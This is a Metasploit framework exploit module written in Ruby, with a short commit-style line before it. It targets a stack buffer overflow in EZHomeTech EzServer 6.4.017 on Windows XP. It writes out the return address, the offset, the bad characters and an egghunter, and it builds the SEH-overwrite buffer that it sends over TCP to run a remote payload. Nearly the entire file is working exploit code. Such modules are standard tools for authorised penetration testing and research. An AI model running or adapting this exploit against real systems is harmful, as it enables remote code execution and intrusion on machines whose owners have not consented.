deleted the module from root msf path
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Overflow Vulnerability',
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'Description' => %q{
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This module exploits a stack buffer overflow in the EZHomeTech EZServer.
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If a malicious user sends packets containing an overly long string,
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it may be possible to execute a payload remotely.
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Due to size constraints, this module uses the Egghunter technique.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'modpr0be<modpr0be@spentera.com>', # Original discovery, MSF Module
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],
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'References' =>
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[
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[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
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],
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'DefaultOptions' =>
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{
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'ExitFunction' => 'seh',
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
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'DisableNops' => true,
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},
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'Targets' =>
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[
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[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
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{
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'Ret' => 0x10212779,
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'Offset' => 5852
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}
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], # pop ecx # pop ebx # ret 4 - msvcrtd.dll
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 18 2012',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(8000)], self.class)
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end
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def exploit
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connect
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eggoptions =
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{
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:checksum => true,
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:eggtag => "w00t"
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}
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hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
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egg = hunter[1]
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buff = rand_text_alpha_upper(target['Offset'] - egg.length) #junk
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buff << egg
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buff << make_nops(32)
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buff << "\xeb\x08\x90\x90"
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buff << [target.ret].pack('V')
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buff << make_nops(16)
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buff << hunter[0]
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buff << rand_text_alpha_upper(500)
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print_status("Triggering shellcode now...")
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print_status("Please be patient, the egghunter may take a while..")
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sock.put(buff)
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handler
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disconnect
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end
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end
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